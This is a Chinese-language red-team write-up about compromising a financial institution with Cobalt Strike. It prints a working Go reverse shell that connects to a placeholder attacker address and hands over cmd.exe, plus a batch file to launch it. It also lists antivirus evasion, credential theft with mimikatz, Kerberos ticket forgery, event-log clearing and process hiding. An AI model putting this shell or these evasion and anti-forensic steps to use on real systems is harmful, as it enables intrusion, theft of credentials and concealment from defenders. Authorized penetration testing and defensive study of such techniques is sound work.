一、潜入之门：真实案例启示
在某次红队行动中，我们的目标是攻破一家金融机构的内网系统。初始信息收集阶段，我们发现了一台暴露在外的Windows服务器，运行着过时的Web应用。通过进一步的探测，识别出该服务器上存在未打补丁的Java反序列化漏洞，这是我们的潜入之门。利用这个漏洞，我们成功地将Cobalt Strike的Payload植入目标系统，从而建立起了一条隐秘的C2通道。
二、环境搭建：模拟真实战场
在真实战场中，我们需要尽可能地模拟目标环境以验证攻击的有效性。首先，我们需要搭建一个类似于目标机构的实验环境，这里选择Windows Server 2019作为受害者系统，安装常见的Web服务和数据库。
实验环境配置步骤
- 虚拟机准备：使用VMware或VirtualBox创建Windows Server 2019虚拟机。
- 网络配置：确保虚拟机网络模式为桥接，以便与外界进行真实通信。
- 软件安装：在目标虚拟机上安装Tomcat、MySQL等常见服务，由于实验目的故意不更新补丁。
- Cobalt Strike安装：在攻击者机器上安装Cobalt Strike，确保C2服务器可以通过公网访问。
三、Payload构造的艺术：精雕细琢
在创建Payload的过程中，我们不仅需要确保其能够成功植入目标系统，还要绕过常见的安全检测机制。这里展示如何使用Cobalt Strike生成Go语言版的Payload，以及在目标机器上的执行。
Go语言Payload生成步骤
<pre><code class="language-go">package main
import ( "fmt" "os/exec" "net" )
func main() { // 建立反向Shell连接 conn, err := net.Dial("tcp", "攻击者_IP:攻击者_PORT") if err != nil { fmt.Println("连接失败:", err) return } defer conn.Close()
cmd := exec.Command("cmd.exe") cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn
cmd.Run() }</code></pre>
Shell批处理文件执行
在目标机器上，我们需要找到一种方式来执行生成的Payload。可以通过Cobalt Strike的“攻击向导”来自动化这个过程，或者手动运行一个简单的批处理文件：
<pre><code class="language-shell">@echo off start go_payload.exe exit</code></pre>
四、隐匿行踪：绕过与免杀
在实际攻击过程中，如何绕过目标的检测机制是至关重要的一环。我们采用了多种免杀技术来确保Payload的执行不被AV/EDR检测到。
免杀技术分享
- 字符串混淆：使用字符串混淆技术，使得Payload中的恶意代码难以被静态分析检测。
- 内存加载：通过将Payload直接加载到内存中执行，避免在磁盘上留下痕迹。
- 流量伪装：使用Cobalt Strike的流量伪装功能，将C2流量伪装成常见的HTTP或DNS流量，降低被网络监控设备识别的风险。
五、攻击链条：无缝连接
在植入Payload并成功建立C2连接后，我们的目标是进行横向移动，获取更多的系统权限。通过Cobalt Strike的各种攻击模块，我们可以轻松地利用已知的漏洞进行权限提升和横向扩展。
横向移动和权限提升
- 凭证盗取：使用mimikatz模块从内存中提取明文密码。
- 域渗透：利用Kerberos票据伪造技术进行域管理员权限获取。
- PowerShell Empire：结合使用PowerShell Empire进行高级命令执行和自动化操作。
六、痕迹清理：像幽灵般消失
在一次成功的攻击后，如何清理攻击痕迹让系统管理员无法轻易察觉我们的活动是攻防对抗的关键。
清理技术分享
- 日志清理：利用Windows命令行工具和PowerShell脚本清除事件日志。
- 网络痕迹消除：通过伪装流量和关闭不必要的网络连接来降低网络监控系统的警报可能性。
- 进程隐藏：使用Cobalt Strike的进程注入技术，将恶意进程隐藏在合法进程中运行，逃避任务管理器的检测。
七、个人经验分享：红队心得
作为一名红队成员，在APT攻击中不仅需要技术的娴熟，还需要敏锐的观察力和灵活的应变能力。每个目标系统都有其独特的防御机制，作为攻击者，我们必须做到随机应变。Cobalt Strike是一个强大的工具，通过不断地学习和实践，我们可以将其功能发挥到极致，从而实现对复杂目标的攻破。在这次金融机构的攻击中，我们不仅成功地实现了目标窃取，还收获了许多绕过免杀的技巧，让整个行动更加隐蔽和高效。
合法声明：本文仅供授权的安全测试和研究人员学习使用，任何未经授权的攻击行为均为非法行为。